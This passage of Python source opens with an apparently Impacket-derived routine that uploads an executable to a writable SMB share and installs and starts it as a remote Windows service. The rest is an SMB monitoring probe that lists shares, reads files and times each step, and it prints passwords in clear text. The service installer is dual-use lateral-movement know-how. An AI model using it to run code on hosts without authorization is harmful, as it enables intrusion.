scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle'] def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = f.replace('/','\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close() def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile ,self.share,self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical("Error performing the installation, cleaning up: %s" %e) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00') service = resp['lpServiceHandle'] LOG.info('Stopping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up" ) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
class probe_smb(probemain): """ SMB probe """ # ----------------------------------------- def __init__(self): """constructor """ probemain.__init__(self, "SMB") self.smbClient = None self.aShares = None self.dceInfo = None self.domain = None self.ip = None self.password = None self.port = None self.pwd = None self.server = None self.share = None self.tid = None self.username = None self.bConnected = None self.bGuestConnected = None self.__clean() self.checkNet() self.getConfig("smb", self.job_smb) self.mainLoop() # ----------------------------------------- def __clean(self): """clean all variables""" self.bConnected = False self.bGuestConnected = True self.dceInfo = {} self.aShares = [] self.tid = None self.pwd = '\\' self.share = '' # ----------------------------------------- def getConfig(self, name, f, testf=None): """get the configuration from the database """ jobs = super(probe_smb, self).getConfig(name, f, self.f_testOK) for j in jobs: logging.info("add job to scheduler every {} sec".format(j['freq'])) # -------------------------------------------------- def connect(self): """connect to the server """ try: self.smbClient = SMBConnection(self.server, self.ip, sess_port=self.port) self.smbClient.login(self.username, self.password, self.domain, '', '') except Exception as e: logging.error(str(e)) self.bConnected = False return False self.bConnected = True self.bGuestConnected = (self.smbClient.isGuestSession() > 0) return True # -------------------------------------------------- def isUserLogged(self): """is the connection guest """ return self.bGuestConnected # -------------------------------------------------- def getDCEInfo(self): """information on the DCE/RPC connection """ if self.bConnected is False: return rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) r = { "platform_id": resp['InfoStruct']['ServerInfo102']['sv102_platform_id'], "name": str(resp['InfoStruct']['ServerInfo102']['sv102_name'].replace('\x00', '')), "major": resp['InfoStruct']['ServerInfo102']['sv102_version_major'], "minor": resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], "type": resp['InfoStruct']['ServerInfo102']['sv102_type'], "comment": str(resp['InfoStruct']['ServerInfo102']['sv102_comment'].replace('\x00', '')), "simultaneous_users": resp['InfoStruct']['ServerInfo102']['sv102_users'], "disc": resp['InfoStruct']['ServerInfo102']['sv102_disc'], "hidden": resp['InfoStruct']['ServerInfo102']['sv102_hidden'], "announce": resp['InfoStruct']['ServerInfo102']['sv102_announce'], "anndelta": resp['InfoStruct']['ServerInfo102']['sv102_anndelta'], "licenses": resp['InfoStruct']['ServerInfo102']['sv102_licenses'], "user_path": str(resp['InfoStruct']['ServerInfo102']['sv102_userpath'].replace('\x00', '')) } self.dceInfo = r del rpctransport del dce del resp return r # -------------------------------------------------- def getWho(self): """who is connected -> error """ try: rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) except Exception as e: logging.error("getWho: {}".format(str(e))) return for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) # -------------------------------------------------- def getShares(self): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return r = [] resp = self.smbClient.listShares() for respi in resp: r.append(respi['shi1_netname'][:-1]) self.aShares = r return r # -------------------------------------------------- def getShare(self, regexp=".*"): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return resp = self.smbClient.listShares() for i, _ in enumerate(resp): netname = resp[i]['shi1_netname'][:-1] _r = re.match(regexp, netname) if _r != None: return { "netname": netname, "type": resp[i]['shi1_type'], "remark": resp[i]['shi1_remark'][:-1] } return False # -------------------------------------------------- def useShare(self, share): """use a share """ if self.bConnected is False: logging.error("No connection open") return False if not self.aShares: self.getShares() if share not in self.aShares: logging.error("useShare : share {} not available on server".format(share)) return False try: self.tid = self.smbClient.connectTree(share) except Exception as e: logging.error("useShare: {}".format(str(e))) return False logging.debug("connected on share {}".format(share)) self.share = share # -------------------------------------------------- def cd(self, _dir): """change directory on the share """ if self.bConnected is False: logging.error("No connection open") return if self.tid is None: logging.error("not on a share") return pwd = ntpath.normpath(string.replace(_dir, '/', '\\')) logging.debug("cd to normalize path {}".format(pwd)) # Let's try to open the directory to see if it's valid try: fid = self.smbClient.openFile(self.tid, pwd, creationOption=FILE_DIRECTORY_FILE, desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE) self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("cd: {}".format(str(e))) return False logging.debug("success cd to {}".format(_dir)) self.pwd = pwd return True # -------------------------------------------------- def lsFiles(self, _filter='*'): """list files in the directory """ if self.bConnected is False: logging.error("No connection open") return False if self.share == '': logging.error("No share selected, see useShare()") return False if self.tid is None: logging.error("not on a share") return False logging.debug("ls on share {} in {}".format(self.share, self.pwd)) pwd = ntpath.join(self.pwd, _filter) r = [] try: for f in self.smbClient.listPath(self.share, pwd): if f.is_directory() == 0: r.append({ "mtime": f.get_mtime_epoch(), "ctime": f.get_ctime_epoch(), "atime": f.get_atime_epoch(), "size": f.get_filesize(), "name": str(f.get_longname()) }) except Exception as ex: logging.error("file list: {}".format(str(ex))) return r # -------------------------------------------------- def logoff(self): """get off the server """ if self.smbClient is None or self.bConnected is False: logging.error("No connection open") else: self.smbClient.logoff() del self.smbClient self.__clean() # -------------------------------------------------- def __str__(self): """for print """ import pprint s = "smb client object:\n" s += " configuration:\n" s += " domain/user:pwd: {}/{}:{}\n".format(self.domain, self.username, self.password) s += " server/ip:port: {}/{}:{}\n".format(self.server, self.ip, self.port) s += "\n status:\n" if self.bConnected: if self.bGuestConnected: s += " guest connected\n" else: s += " user connected\n" else: s += " not connected\n" if self.dceInfo.__contains__('licenses'): s += "\n DCE Info: {}\n".format(pprint.pformat(self.dceInfo)) if self.aShares: s += "\n shares = {}\n".format(pprint.pformat(self.aShares)) return s # ----------------------------------------- def step_get_file_stats(self, _step, iStep): """get_file_stats action """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] _ms = time.time() sError = "smb-step-{:02d}-error".format(iStep) if self.useShare(_step['share']) is False: result[sError] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] if self.cd(_step['path']) is False: result[sError] = "path not available in share: {}".format(_step['share']) return result result["smb-step-{:02d}-path".format(iStep)] = str(_step['path']) a = self.lsFiles(_step['file']) if a is False: result[sError] = "file access error: {}".format(_step['file']) return result if len(a) == 0: result[sError] = "file not found: {}".format(_step['file']) return result result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-file".format(iStep)] = a[0]['name'] result["smb-step-{:02d}-atime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['atime']).isoformat() result["smb-step-{:02d}-ctime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['ctime']).isoformat() result["smb-step-{:02d}-mtime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['mtime']).isoformat() result["smb-step-{:02d}-size".format(iStep)] = a[0]['size'] return result #pprint.pprint(a) # ----------------------------------------- def step_get_share(self, _step, iStep): """get_share action """ result = {} _ms = time.time() result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getShare(_step['share']) if r != False: result["smb-step-{:02d}-remark".format(iStep)] = r['remark'] result["smb-step-{:02d}-netname".format(iStep)] = r['netname'] else: result["smb-step-{:02d}-error".format(iStep)] = "not found: {}".format(_step['share']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def step_get_dce_info(self, _step, iStep): """get DCE action """ result = {} _ms = time.time() result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getDCEInfo() result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-anndelta".format(iStep)] = r['anndelta'] result["smb-step-{:02d}-announce".format(iStep)] = r['announce'] result["smb-step-{:02d}-disc".format(iStep)] = r['disc'] result["smb-step-{:02d}-licenses".format(iStep)] = r['licenses'] result["smb-step-{:02d}-major".format(iStep)] = r['major'] result["smb-step-{:02d}-minor".format(iStep)] = r['minor'] result["smb-step-{:02d}-name".format(iStep)] = r['name'] result["smb-step-{:02d}-platform_id".format(iStep)] = r['platform_id'] result["smb-step-{:02d}-simultaneous_users".format(iStep)] = r['simultaneous_users'] return result # ----------------------------------------- def step_read_file(self, _step, iStep): """read a file """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] if self.useShare(_step['share']) is False: result["smb-step-{:02d}-error"] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] fileName = ntpath.normpath(string.replace(_step['file'], '/', '\\')) logging.debug("open file {}".format(fileName)) if _step.__contains__('blocksize'): blocksize = min(1024, _step['blocksize']) blocksize *= 1024 else: blocksize = 1024*1024 _ms = time.time() try: fid = self.smbClient.openFile(self.tid, fileName) offset = 0 endFile = False while endFile is False: _buffer = self.smbClient.readFile(self.tid, fid, offset, blocksize) if len(_buffer) == 0: endFile = True offset += len(_buffer) result["smb-step-{:02d}-read-KB".format(iStep)] = offset / 1024.0 result["smb-step-{:02d}-Mbps".format(iStep)] = (offset * 8 / (time.time() - _ms))/1024000 self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("open file: {}".format(str(e))) result["smb-step-{:02d}-error".format(iStep)] = "error in open file: {}".format(_step['file']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def job_smb(self, _config): """smb job """ _msTotal = time.time() if not _config.__contains__('server'): logging.error("no server specified") return if not _config.__contains__('user'): _config['user'] = "" if not _config.__contains__('password'): _config['password'] = "" if not _config.__contains__('domain'): _config['domain'] = "" if not _config.__contains__('ip'): _config['ip'] = _config['server'] if not _config.__contains__('port'): _config['port'] = 445 self.domain = _config['domain'] self.username = _config['user'] self.password = _config['password'] self.server = _config['server'] self.ip = _config['ip'] self.port = _config['port'] result = { "smb-domain": self.domain, "smb-user": self.username, "smb-server" : self.server } if not _config.__contains__('steps'): logging.error("no steps specified") result['smb-error'] = "no step specified in configuration" self.pushResult(result) return logging.info("connect") _ms = time.time() if self.connect() is False: logging.error("connect error") result['smb-error'] = "connect error" self.pushResult(result) return result['smb-connect-delay-ms'] = round((time.time() - _ms) * 1000) _ms = time.time() self.getShares() result['smb-get-shares-delay-ms'] = round((time.time() - _ms) * 1000) # exec each steps iStep = 1 while _config['steps'].__contains__("{:02d}".format(iStep)): _step = _config['steps']["{:02d}".format(iStep)] logging.debug("exec step {:02d}".format(iStep)) if _step['type'] == "get_file_stats": _r = self.step_get_file_stats(_step, iStep) result.update(_r) if _step['type'] == "get_dce_info": _r = self.step_get_dce_info(_step, iStep) result.update(_r) if _step['type'] == "get_share": _r = self.step_get_share(_step, iStep) result.update(_r) if _step['type'] == "read_file": _r = self.step_read_file(_step, iStep) result.update(_r) iStep += 1 # get the shares # print self.getShares() # get dce server info # pprint.pprint(self.getDCEInfo()) # self.useShare("notavail") # self.useShare("music") # self.cd("/Calogero/L'Embellie") # pprint.pprint(self.lsFiles()) logging.info("logout") self.logoff() result['smb-delay-ms'] = round((time.time() - _msTotal) * 1000) import pprint pprint.pprint(result) # logging.info("smb results : {}".format(result)) # exit() #self.pushResult(result) if 'run_once' in _config: logging.info("run only once, exit") exit()